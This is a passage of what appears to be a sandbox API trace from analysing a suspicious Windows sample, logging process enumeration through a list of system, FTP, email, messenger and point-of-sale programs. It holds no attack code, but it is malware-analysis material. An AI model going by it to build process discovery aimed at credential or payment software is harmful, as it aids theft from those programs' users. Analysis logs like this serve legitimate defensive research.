th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.079] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0297.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0297.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0297.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0297.089] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.093] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0297.192] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0297.194] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0297.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0297.199] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0297.201] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0297.203] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0297.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0297.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0297.210] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0297.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0297.213] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0297.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0297.216] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0297.217] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0297.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0297.220] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0297.222] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0297.223] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0297.225] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0297.226] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0297.228] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0297.229] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0297.231] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0297.232] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0297.234] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0297.235] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0297.237] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0297.287] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0297.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0297.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0297.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0297.294] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0297.296] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0297.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0297.300] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0297.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0297.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0297.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0297.309] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0297.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0297.313] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0297.316] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0297.317] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0297.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0297.321] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0297.323] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0297.325] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0297.327] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0297.328] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0297.330] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0297.379] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0297.381] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0297.383] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0297.385] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0297.386] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0297.389] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0297.391] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0297.393] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0297.395] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0297.397] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0297.398] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0297.400] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0297.402] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0297.404] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0297.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0297.409] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0297.411] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0297.413] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0297.415] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0297.417] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0297.419] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0297.420] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0297.422] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0297.424] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0297.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0297.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0297.488] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0297.489] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0297.491] CloseHandle (hObject=0x344) returned 1 